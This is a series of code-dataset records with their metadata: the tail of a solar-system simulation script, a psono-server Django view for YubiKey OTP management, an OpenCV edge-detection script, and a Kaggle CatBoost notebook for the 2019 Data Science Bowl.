the system vs. time')\r\n pyplot.xlabel('Time (days)')\r\n pyplot.ylabel('Energy kg*(AU^2)/(days^2)')\r\n pyplot.plot(time_list, energy_list)\r\n pyplot.show()\r\n\r\n\r\n# Execute main method, but only when directly invoked\r\nif __name__ == \"__main__\":\r\n main()\r\n", "repo_name": "root2pk/CompMod-Solar-System-Simulation", "sub_path": "ParticleManyBody.py", "file_name": "ParticleManyBody.py", "file_ext": "py", "file_size_in_byte": 9313, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.argv", "line_number": 86, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 88, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 91, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 92, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 93, "usage_type": "attribute"}, {"api_name": "Astro_Body.Astro_Body.read_from_file", "line_number": 119, "usage_type": "call"}, {"api_name": "Astro_Body.Astro_Body", "line_number": 119, "usage_type": "name"}, {"api_name": "Astro_Body.Astro_Body.com_correction", "line_number": 122, "usage_type": "call"}, {"api_name": "Astro_Body.Astro_Body", "line_number": 122, "usage_type": "name"}, {"api_name": "Astro_Body.Astro_Body.kinetic_energy", "line_number": 131, "usage_type": "call"}, {"api_name": "Astro_Body.Astro_Body", "line_number": 131, "usage_type": "name"}, {"api_name": "Astro_Body.Astro_Body.potential_energy", "line_number": 133, "usage_type": "call"}, {"api_name": "Astro_Body.Astro_Body", "line_number": 133, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 155, "usage_type": "attribute"}, {"api_name": "numpy.linalg.norm", "line_number": 160, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 160, "usage_type": "attribute"}, {"api_name": "Astro_Body.Astro_Body.compute_force", "line_number": 169, "usage_type": "call"}, {"api_name": "Astro_Body.Astro_Body", "line_number": 169, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 171, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 173, "usage_type": "call"}, {"api_name": "Astro_Body.Astro_Body.compute_force", "line_number": 189, "usage_type": "call"}, {"api_name": "Astro_Body.Astro_Body", "line_number": 189, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 191, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 193, "usage_type": "call"}, {"api_name": "Astro_Body.Astro_Body.kinetic_energy", "line_number": 204, "usage_type": "call"}, {"api_name": "Astro_Body.Astro_Body", "line_number": 204, "usage_type": "name"}, {"api_name": "numpy.linalg.norm", "line_number": 210, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 210, "usage_type": "attribute"}, {"api_name": "numpy.linalg.norm", "line_number": 215, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 215, "usage_type": "attribute"}, {"api_name": "Astro_Body.Astro_Body.potential_energy", "line_number": 223, "usage_type": "call"}, {"api_name": "Astro_Body.Astro_Body", "line_number": 223, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 259, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 259, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 260, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 260, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 261, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 261, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 262, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 262, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 263, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 263, "usage_type": "name"}]} {"seq_id": "18216418495", "text": "from rest_framework import status\nfrom rest_framework.response import Response\nfrom rest_framework.generics import GenericAPIView\nfrom ..permissions import IsAuthenticated\n\nfrom ..models import Yubikey_OTP\nfrom ..app_settings import NewYubikeyOTPSerializer, ActivateYubikeySerializer, DeleteYubikeySerializer\nfrom ..authentication import TokenAuthentication\nfrom ..utils import encrypt_with_db_secret\n\n\nclass UserYubikeyOTP(GenericAPIView):\n\n authentication_classes = (TokenAuthentication, )\n permission_classes = (IsAuthenticated,)\n serializer_class = NewYubikeyOTPSerializer\n allowed_methods = ('GET', 'PUT', 'DELETE', 'OPTIONS', 'HEAD')\n\n def get(self, request, *args, **kwargs):\n \"\"\"\n Checks the REST Token and returns a list of all YubiKey OTPs\n\n :param request:\n :type request:\n :param args:\n :type args:\n :param kwargs:\n :type kwargs:\n :return: 200\n :rtype:\n \"\"\"\n\n yubikey_otps = []\n\n for yk in Yubikey_OTP.objects.filter(user=request.user).all():\n yubikey_otps.append({\n 'id': yk.id,\n 'active': yk.active,\n 'title': yk.title,\n })\n\n return Response({\n \"yubikey_otps\": yubikey_otps\n },\n status=status.HTTP_200_OK)\n\n def put(self, request, *args, **kwargs):\n \"\"\"\n Checks the REST Token and sets a new YubiKey OTP for multifactor authentication\n\n :param request:\n :type request:\n :param args:\n :type args:\n :param kwargs:\n :type kwargs:\n :return: 201 / 400\n :rtype:\n \"\"\"\n\n serializer = self.get_serializer(data=request.data)\n\n if not serializer.is_valid():\n\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n yubikey_otp = serializer.validated_data.get('yubikey_otp')\n yubikey_id = yubikey_otp[:12]\n\n new_yubikey = Yubikey_OTP.objects.create(\n user=request.user,\n title= serializer.validated_data.get('title'),\n yubikey_id = encrypt_with_db_secret(str(yubikey_id)),\n active=True # YubiKeys don't need validation\n )\n\n # Also update the user immediately and don't wait for the activation\n request.user.yubikey_otp_enabled = True\n request.user.save()\n\n return Response({\n \"id\": new_yubikey.id,\n },\n status=status.HTTP_201_CREATED)\n\n def post(self, request, *args, **kwargs):\n \"\"\"\n Validates a yubikey and activates it\n\n :param request:\n :type request:\n :param args:\n :type args:\n :param kwargs:\n :type kwargs:\n :return:\n :rtype:\n \"\"\"\n\n serializer = ActivateYubikeySerializer(data=request.data, context=self.get_serializer_context())\n\n if not serializer.is_valid():\n\n return Response(\n serializer.errors, status=status.HTTP_400_BAD_REQUEST\n )\n\n yubikey_otp = serializer.validated_data.get('yubikey_otp')\n\n yubikey_otp.active = True\n yubikey_otp.save()\n\n request.user.yubikey_otp_enabled = True\n request.user.save()\n\n return Response(status=status.HTTP_200_OK)\n\n def delete(self, request, *args, **kwargs):\n \"\"\"\n Deletes an Yubikey\n\n :param request:\n :param args:\n :param kwargs:\n :return: 200 / 400\n \"\"\"\n\n serializer = DeleteYubikeySerializer(data=request.data, context=self.get_serializer_context())\n\n if not serializer.is_valid():\n\n return Response(\n serializer.errors, status=status.HTTP_400_BAD_REQUEST\n )\n\n yubikey_otp = serializer.validated_data.get('yubikey_otp')\n yubikey_otp_count = serializer.validated_data.get('yubikey_otp_count')\n\n # Update the user attribute if we only had 1 yubikey\n if yubikey_otp_count < 2 and yubikey_otp.active:\n request.user.yubikey_otp_enabled = False\n request.user.save()\n\n # delete it\n yubikey_otp.delete()\n\n return Response(status=status.HTTP_200_OK)\n", "repo_name": "psono/psono-server", "sub_path": "psono/restapi/views/user_yubikey_otp.py", "file_name": "user_yubikey_otp.py", "file_ext": "py", "file_size_in_byte": 4205, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 67, "dataset": "github-code", "pt": "78", "api": [{"api_name": "rest_framework.generics.GenericAPIView", "line_number": 12, "usage_type": "name"}, {"api_name": "authentication.TokenAuthentication", "line_number": 14, "usage_type": "name"}, {"api_name": "permissions.IsAuthenticated", "line_number": 15, "usage_type": "name"}, {"api_name": "app_settings.NewYubikeyOTPSerializer", "line_number": 16, "usage_type": "name"}, {"api_name": "models.Yubikey_OTP.objects.filter", "line_number": 35, "usage_type": "call"}, {"api_name": "models.Yubikey_OTP.objects", "line_number": 35, "usage_type": "attribute"}, {"api_name": "models.Yubikey_OTP", "line_number": 35, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 42, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 45, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 45, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 65, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 65, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 65, "usage_type": "name"}, {"api_name": "models.Yubikey_OTP.objects.create", "line_number": 70, "usage_type": "call"}, {"api_name": "models.Yubikey_OTP.objects", "line_number": 70, "usage_type": "attribute"}, {"api_name": "models.Yubikey_OTP", "line_number": 70, "usage_type": "name"}, {"api_name": "utils.encrypt_with_db_secret", "line_number": 73, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 81, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 84, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 84, "usage_type": "name"}, {"api_name": "app_settings.ActivateYubikeySerializer", "line_number": 100, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 104, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 105, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 105, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 116, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 116, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 116, "usage_type": "name"}, {"api_name": "app_settings.DeleteYubikeySerializer", "line_number": 128, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 132, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 133, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 133, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 147, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 147, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 147, "usage_type": "name"}]} {"seq_id": "31775384885", "text": "# 图像渐变和边缘检测\n\nimport cv2\nimport numpy as np\n\nimg = cv2.imread('../data/cluo.jpg')\n\nhsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n\nlower_red = np.array([30, 150, 50])\nupper_red = np.array([255, 255, 180])\n\nmask = cv2.inRange(hsv, lower_red, upper_red)\nres = cv2.bitwise_and(img, img, mask=mask)\n\nlaplacian = cv2.Laplacian(img, cv2.CV_64F)\nsobelx = cv2.Sobel(img, cv2.CV_64F, 1, 0, ksize=5)\nsobely = cv2.Sobel(img, cv2.CV_64F, 0, 1, ksize=5)\n\n# canny 边缘检测\nedges = cv2.Canny(img, 100, 200)\ncv2.imshow('Edges', edges)\n\ncv2.imshow('Original', img)\ncv2.imshow('Res', res)\ncv2.imshow('laplacian', laplacian)\ncv2.imshow('sobelx', sobelx)\ncv2.imshow('sobely', sobely)\n\ncv2.waitKey(0) & 0xFF\ncv2.destroyAllWindows()", "repo_name": "SevenXue/DeepLearning", "sub_path": "opencv_ln/picture_process/cv_sobel_canny.py", "file_name": "cv_sobel_canny.py", "file_ext": "py", "file_size_in_byte": 727, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "cv2.imread", "line_number": 6, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 8, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 8, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.inRange", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.bitwise_and", "line_number": 14, "usage_type": "call"}, {"api_name": "cv2.Laplacian", "line_number": 16, "usage_type": "call"}, {"api_name": "cv2.CV_64F", "line_number": 16, "usage_type": "attribute"}, {"api_name": "cv2.Sobel", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.CV_64F", "line_number": 17, "usage_type": "attribute"}, {"api_name": "cv2.Sobel", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.CV_64F", "line_number": 18, "usage_type": "attribute"}, {"api_name": "cv2.Canny", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 22, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 24, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 25, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 30, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 31, "usage_type": "call"}]} {"seq_id": "71049369531", "text": "# Main Libs\n\nimport numpy as np\n\nimport pandas as pd\n\nimport matplotlib.pyplot as plt\n\nimport seaborn as sns\n\n\n\n# Utility libs\n\nfrom tqdm import tqdm\n\nimport time\n\nimport datetime\n\nfrom skopt import gp_minimize\n\nfrom skopt.space import Real, Integer\n\nfrom skopt.utils import use_named_args\n\nfrom skopt.plots import plot_convergence\n\nfrom copy import deepcopy\n\nimport pprint\n\nimport shap\n\nimport os\n\n\n\n# You might have to do !pip install catboost\n\n# If you don't have it on your local machine\n\n# nevertheless Kaggle runtimes come preinstalled with CatBoost\n\nimport catboost\n\n\n\nfrom pathlib import Path\n\ndata_dir = Path('../input/data-science-bowl-2019')\n\nos.listdir(data_dir)\n\ntrain = pd.read_csv('../input/data-science-bowl-2019/train.csv')\n\nlabels = pd.read_csv('../input/data-science-bowl-2019/train_labels.csv')\n\ntest = pd.read_csv('../input/data-science-bowl-2019/test.csv')\n\nspecs = pd.read_csv('../input/data-science-bowl-2019/specs.csv')\n\nsample_submission = pd.read_csv('../input/data-science-bowl-2019/sample_submission.csv')\ntrain.head()\nlabels.head()\nsample_submission.head()\nlist_of_user_activities = list(set(train['title'].value_counts().index).union(set(test['title'].value_counts().index)))\n\nactivities_map = dict(zip(list_of_user_activities, np.arange(len(list_of_user_activities))))\n\n\n\ntrain['title'] = train['title'].map(activities_map)\n\ntest['title'] = test['title'].map(activities_map)\n\nlabels['title'] = labels['title'].map(activities_map)\nwin_code = dict(zip(activities_map.values(), (4100*np.ones(len(activities_map))).astype('int')))\n\nwin_code[activities_map['Bird Measurer (Assessment)']] = 4110\n\n\n\ntrain['timestamp'] = pd.to_datetime(train['timestamp'])\n\ntest['timestamp'] = pd.to_datetime(test['timestamp'])\n# Thanks for this beautiful function https://www.kaggle.com/mhviraf/a-new-baseline-for-dsb-2019-catboost-model \n\ndef get_data(user_sample, test_set=False):\n\n last_activity = 0\n\n user_activities_count = {'Clip':0, 'Activity': 0, 'Assessment': 0, 'Game':0}\n\n accuracy_groups = {0:0, 1:0, 2:0, 3:0}\n\n all_assessments = []\n\n accumulated_accuracy_group = 0\n\n accumulated_accuracy=0\n\n accumulated_correct_attempts = 0 \n\n accumulated_uncorrect_attempts = 0 \n\n accumulated_actions = 0\n\n counter = 0\n\n durations = []\n\n for i, session in user_sample.groupby('game_session', sort=False):\n\n session_type = session['type'].iloc[0]\n\n session_title = session['title'].iloc[0]\n\n if test_set == True:\n\n second_condition = True\n\n else:\n\n if len(session)>1:\n\n second_condition = True\n\n else:\n\n second_condition= False\n\n \n\n if (session_type == 'Assessment') & (second_condition):\n\n all_attempts = session.query(f'event_code == {win_code[session_title]}')\n\n true_attempts = all_attempts['event_data'].str.contains('true').sum()\n\n false_attempts = all_attempts['event_data'].str.contains('false').sum()\n\n features = user_activities_count.copy()\n\n features['session_title'] = session['title'].iloc[0] \n\n features['accumulated_correct_attempts'] = accumulated_correct_attempts\n\n features['accumulated_uncorrect_attempts'] = accumulated_uncorrect_attempts\n\n accumulated_correct_attempts += true_attempts \n\n accumulated_uncorrect_attempts += false_attempts\n\n if durations == []:\n\n features['duration_mean'] = 0\n\n else:\n\n features['duration_mean'] = np.mean(durations)\n\n durations.append((session.iloc[-1, 2] - session.iloc[0, 2] ).seconds)\n\n features['accumulated_accuracy'] = accumulated_accuracy/counter if counter > 0 else 0\n\n accuracy = true_attempts/(true_attempts+false_attempts) if (true_attempts+false_attempts) != 0 else 0\n\n accumulated_accuracy += accuracy\n\n if accuracy == 0:\n\n features['accuracy_group'] = 0\n\n elif accuracy == 1:\n\n features['accuracy_group'] = 3\n\n elif accuracy == 0.5:\n\n features['accuracy_group'] = 2\n\n else:\n\n features['accuracy_group'] = 1\n\n\n\n features.update(accuracy_groups)\n\n features['accumulated_accuracy_group'] = accumulated_accuracy_group/counter if counter > 0 else 0\n\n features['accumulated_actions'] = accumulated_actions\n\n accumulated_accuracy_group += features['accuracy_group']\n\n accuracy_groups[features['accuracy_group']] += 1\n\n if test_set == True:\n\n all_assessments.append(features)\n\n else:\n\n if true_attempts+false_attempts > 0:\n\n all_assessments.append(features)\n\n \n\n counter += 1\n\n accumulated_actions += len(session)\n\n if last_activity != session_type:\n\n user_activities_count[session_type] += 1\n\n last_activitiy = session_type\n\n if test_set:\n\n return all_assessments[-1] \n\n return all_assessments\ncompiled_data = []\n\nfor i, (ins_id, user_sample) in tqdm(enumerate(train.groupby('installation_id', sort=False)), total=17000):\n\n compiled_data += get_data(user_sample)\nnew_train = pd.DataFrame(compiled_data)\n\ndel compiled_data\n\nprint(\"Train Data Shape:\")\n\nnew_train.shape\nimport gc\n\ngc.collect()\nall_features = [x for x in new_train.columns if x not in ['accuracy_group']]\n\ncat_features = ['session_title']\n\nX, y = new_train[all_features], new_train['accuracy_group']\n\ndel train\nclass ModelOptimizer:\n\n best_score = None\n\n opt = None\n\n \n\n def __init__(self, model, X_train, y_train, categorical_columns_indices=None, n_fold=3, seed=2405, early_stopping_rounds=30, is_stratified=True, is_shuffle=True):\n\n self.model = model\n\n self.X_train = X_train\n\n self.y_train = y_train\n\n self.categorical_columns_indices = categorical_columns_indices\n\n self.n_fold = n_fold\n\n self.seed = seed\n\n self.early_stopping_rounds = early_stopping_rounds\n\n self.is_stratified = is_stratified\n\n self.is_shuffle = is_shuffle\n\n \n\n \n\n def update_model(self, **kwargs):\n\n for k, v in kwargs.items():\n\n setattr(self.model, k, v)\n\n \n\n def evaluate_model(self):\n\n pass\n\n \n\n def optimize(self, param_space, max_evals=10, n_random_starts=2):\n\n start_time = time.time()\n\n \n\n @use_named_args(param_space)\n\n def _minimize(**params):\n\n self.model.set_params(**params)\n\n return self.evaluate_model()\n\n \n\n opt = gp_minimize(_minimize, param_space, n_calls=max_evals, n_random_starts=n_random_starts, random_state=2405, n_jobs=-1)\n\n best_values = opt.x\n\n optimal_values = dict(zip([param.name for param in param_space], best_values))\n\n best_score = opt.fun\n\n self.best_score = best_score\n\n self.opt = opt\n\n \n\n print('optimal_parameters: {}\\noptimal score: {}\\noptimization time: {}'.format(optimal_values, best_score, time.time() - start_time))\n\n print('updating model with optimal values')\n\n self.update_model(**optimal_values)\n\n plot_convergence(opt)\n\n return optimal_values\n\nclass CatboostOptimizer(ModelOptimizer):\n\n def evaluate_model(self):\n\n validation_scores = catboost.cv(\n\n catboost.Pool(self.X_train, \n\n self.y_train, \n\n cat_features=self.categorical_columns_indices),\n\n self.model.get_params(), \n\n nfold=self.n_fold,\n\n stratified=self.is_stratified,\n\n seed=self.seed,\n\n early_stopping_rounds=self.early_stopping_rounds,\n\n shuffle=self.is_shuffle,\n\n# metrics='auc',\n\n plot=False)\n\n self.scores = validation_scores\n\n test_scores = validation_scores.iloc[:, 2]\n\n best_metric = test_scores.max()\n\n return 1 - best_metric\ndefault_cb = catboost.CatBoostClassifier(loss_function='MultiClass',\n\n task_type='CPU',\n\n random_seed=12,\n\n silent=True\n\n )\n\ndefault_cb_optimizer = CatboostOptimizer(default_cb, X, y)\n\ndefault_cb_optimizer.evaluate_model()\ngreedy_cb = catboost.CatBoostClassifier(\n\n loss_function='MultiClass',\n\n task_type=\"CPU\",\n\n learning_rate=0.01,\n\n iterations=2000,\n\n od_type=\"Iter\",\n\n early_stopping_rounds=500,\n\n random_seed=24,\n\n silent=True\n\n)\nfrom sklearn.metrics import confusion_matrix\n\ndef qwk(act,pred,n=4,hist_range=(0,3)):\n\n \n\n O = confusion_matrix(act,pred)\n\n O = np.divide(O,np.sum(O))\n\n \n\n W = np.zeros((n,n))\n\n for i in range(n):\n\n for j in range(n):\n\n W[i][j] = ((i-j)**2)/((n-1)**2)\n\n \n\n act_hist = np.histogram(act,bins=n,range=hist_range)[0]\n\n prd_hist = np.histogram(pred,bins=n,range=hist_range)[0]\n\n \n\n E = np.outer(act_hist,prd_hist)\n\n E = np.divide(E,np.sum(E))\n\n \n\n num = np.sum(np.multiply(W,O))\n\n den = np.sum(np.multiply(W,E))\n\n \n\n return 1-np.divide(num,den)\ncb_optimizer = CatboostOptimizer(greedy_cb, X, y)\n\nparams_space = [Real(0.01, 0.8, name='learning_rate'),]\n\ncb_optimal_values = cb_optimizer.optimize(params_space)\ncb = catboost.CatBoostClassifier(n_estimators=4000,\n\n one_hot_max_size=2,\n\n loss_function='MultiClass',\n\n eval_metric='WKappa',\n\n task_type='CPU', \n\n random_seed=5, \n\n use_best_model=True,\n\n silent=True\n\n )\none_cb_optimizer = CatboostOptimizer(cb, X, y)\n\nparams_space = [Real(0.01, 0.8, name='learning_rate'), \n\n Integer(2, 10, name='max_depth'), \n\n Real(0.5, 1.0, name='colsample_bylevel'), \n\n Real(0.0, 100, name='bagging_temperature'), \n\n Real(0.0, 100, name='random_strength'), \n\n Real(1.0, 100, name='reg_lambda')]\n\none_cb_optimal_values = one_cb_optimizer.optimize(params_space, max_evals=40, n_random_starts=4)\none_cb_optimizer.model.get_params()\ndef make_classifier():\n\n clf = catboost.CatBoostClassifier(\n\n n_estimators = 4000,\n\n task_type = 'CPU',\n\n one_hot_max_size = 2,\n\n random_seed = 31,\n\n loss_function = 'MultiClass',\n\n learning_rate = 0.8,\n\n max_depth = 6,\n\n colsample_bylevel = 0.5,\n\n bagging_temperature = 28.635664398579774,\n\n random_strength = 100.0,\n\n reg_lambda = 100.0,\n\n early_stopping_rounds=500,\n\n )\n\n return clf\n\noof = np.zeros(len(X))\nfrom sklearn.model_selection import KFold\n\noof = np.zeros(len(X))\n\nNFOLDS = 5\n\nfolds = KFold(n_splits=NFOLDS, shuffle=True, random_state=2019)\n\n\n\ntraining_start_time = time.time()\n\nfor fold, (trn_idx, test_idx) in enumerate(folds.split(X, y)):\n\n start_time = time.time()\n\n print(f'Training on fold {fold+1}')\n\n clf = make_classifier()\n\n clf.fit(X.loc[trn_idx, all_features], y.loc[trn_idx], eval_set=(X.loc[test_idx, all_features], y.loc[test_idx]),\n\n use_best_model=True, verbose=500, cat_features=cat_features) \n\n oof[test_idx] = clf.predict(X.loc[test_idx, all_features]).reshape(len(test_idx))\n\n print('Fold {} finished in {}'.format(fold + 1, str(datetime.timedelta(seconds=time.time() - start_time))))\n\n \n\nprint('-' * 30)\n\nprint('OOF QWK:', qwk(y, oof))\n\nprint('-' * 30)\n# train model on all data once\n\nclf = make_classifier()\n\nclf.fit(X, y, verbose=500, cat_features=cat_features)\n# process test set\n\nnew_test = []\n\nfor ins_id, user_sample in tqdm(test.groupby('installation_id', sort=False), total=1000):\n\n a = get_data(user_sample, test_set=True)\n\n new_test.append(a)\n\n \n\nX_test = pd.DataFrame(new_test)\n\ndel test\n# make predictions on test set once\n\npreds = clf.predict(X_test)\n\ndel X_test\nsample_submission['accuracy_group'] = np.round(preds).astype('int')\n\nsample_submission.to_csv('submission.csv', index=None)\n\nsample_submission.head()\nsample_submission['accuracy_group'].plot(kind='hist')\nlabels['accuracy_group'].plot(kind='hist')\npd.Series(oof).plot(kind='hist')\nclf = deepcopy(one_cb_optimizer.model)\n\npool = catboost.Pool(X, y, cat_features=cat_features)\n\nclf.set_params(use_best_model=False, reg_lambda=1.0)\n\nclf.fit(pool, use_best_model=False)\n\ninteractions = clf.get_feature_importance(pool, fstr_type=catboost.EFstrType.Interaction, prettified=True)\n\nshap_values = clf.get_feature_importance(pool, fstr_type=catboost.EFstrType.ShapValues,prettified=True)\nfeature_interaction = [[X.columns[interaction[0]], X.columns[interaction[1]], interaction[2]] for i,interaction in interactions.iterrows()]\n\nfeature_interaction_df = pd.DataFrame(feature_interaction, columns=['feature1', 'feature2', 'interaction_strength'])\n\nfeature_interaction_df.head(10)\npd.Series(index=zip(feature_interaction_df['feature1'], feature_interaction_df['feature2']), data=feature_interaction_df['interaction_strength'].values, name='interaction_strength').head(10).plot(kind='barh', figsize=(18, 10), fontsize=16, color='b')\nshap.initjs()\n\nshap.summary_plot(shap_values[:, 0, :-1], X, feature_names=X.columns.tolist())\nshap.initjs()\n\nshap.summary_plot(shap_values[:, 1, :-1], X, feature_names=X.columns.tolist())\nshap.initjs()\n\nshap.summary_plot(shap_values[:, 2, :-1], X, feature_names=X.columns.tolist())\nshap.initjs()\n\nshap.summary_plot(shap_values[:, 3, :-1], X, feature_names=X.columns.tolist())\nshap.summary_plot(shap_values[:, 0,:-1], X, feature_names=X.columns.tolist(), plot_type=\"bar\")\nshap.dependence_plot(\"accumulated_accuracy\", shap_values[:, 3, :-1], X)", "repo_name": "aorursy/new-nb-1", "sub_path": "abhinand05_catboost-a-deeper-dive.py", "file_name": "abhinand05_catboost-a-deeper-dive.py", "file_ext": "py", "file_size_in_byte": 13934, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pathlib.Path", "line_number": 51, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 53, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 55, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 57, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 59, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 61, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 78, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 84, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 161, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 228, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 231, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 240, "usage_type": "call"}, {"api_name": "time.time", "line_number": 296, "usage_type": "call"}, {"api_name": "skopt.utils.use_named_args", "line_number": 300, "usage_type": "call"}, {"api_name": "skopt.gp_minimize", "line_number": 310, "usage_type": "call"}, {"api_name": "time.time", "line_number": 324, "usage_type": "call"}, {"api_name": "skopt.plots.plot_convergence", "line_number": 330, "usage_type": "call"}, {"api_name": "catboost.cv", "line_number": 338, "usage_type": "call"}, {"api_name": "catboost.Pool", "line_number": 340, "usage_type": "call"}, {"api_name": "catboost.CatBoostClassifier", "line_number": 369, "usage_type": "call"}, {"api_name": "catboost.CatBoostClassifier", "line_number": 382, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 407, "usage_type": "call"}, {"api_name": "numpy.divide", "line_number": 409, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 409, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 413, "usage_type": "call"}, {"api_name": "numpy.histogram", "line_number": 423, "usage_type": "call"}, {"api_name": "numpy.histogram", "line_number": 425, "usage_type": "call"}, {"api_name": "numpy.outer", "line_number": 429, "usage_type": "call"}, {"api_name": "numpy.divide", "line_number": 431, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 431, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 435, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 435, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 437, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 437, "usage_type": "call"}, {"api_name": "numpy.divide", "line_number": 441, "usage_type": "call"}, {"api_name": "skopt.space.Real", "line_number": 444, "usage_type": "call"}, {"api_name": "catboost.CatBoostClassifier", "line_number": 447, "usage_type": "call"}, {"api_name": "skopt.space.Real", "line_number": 466, "usage_type": "call"}, {"api_name": "skopt.space.Integer", "line_number": 468, "usage_type": "call"}, {"api_name": "skopt.space.Real", "line_number": 470, "usage_type": "call"}, {"api_name": "skopt.space.Real", "line_number": 472, "usage_type": "call"}, {"api_name": "skopt.space.Real", "line_number": 474, "usage_type": "call"}, {"api_name": "skopt.space.Real", "line_number": 476, "usage_type": "call"}, {"api_name": "catboost.CatBoostClassifier", "line_number": 482, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 512, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 515, "usage_type": "call"}, {"api_name": "sklearn.model_selection.KFold", "line_number": 519, "usage_type": "call"}, {"api_name": "time.time", "line_number": 523, "usage_type": "call"}, {"api_name": "time.time", "line_number": 527, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 539, "usage_type": "call"}, {"api_name": "time.time", "line_number": 539, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 557, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 565, 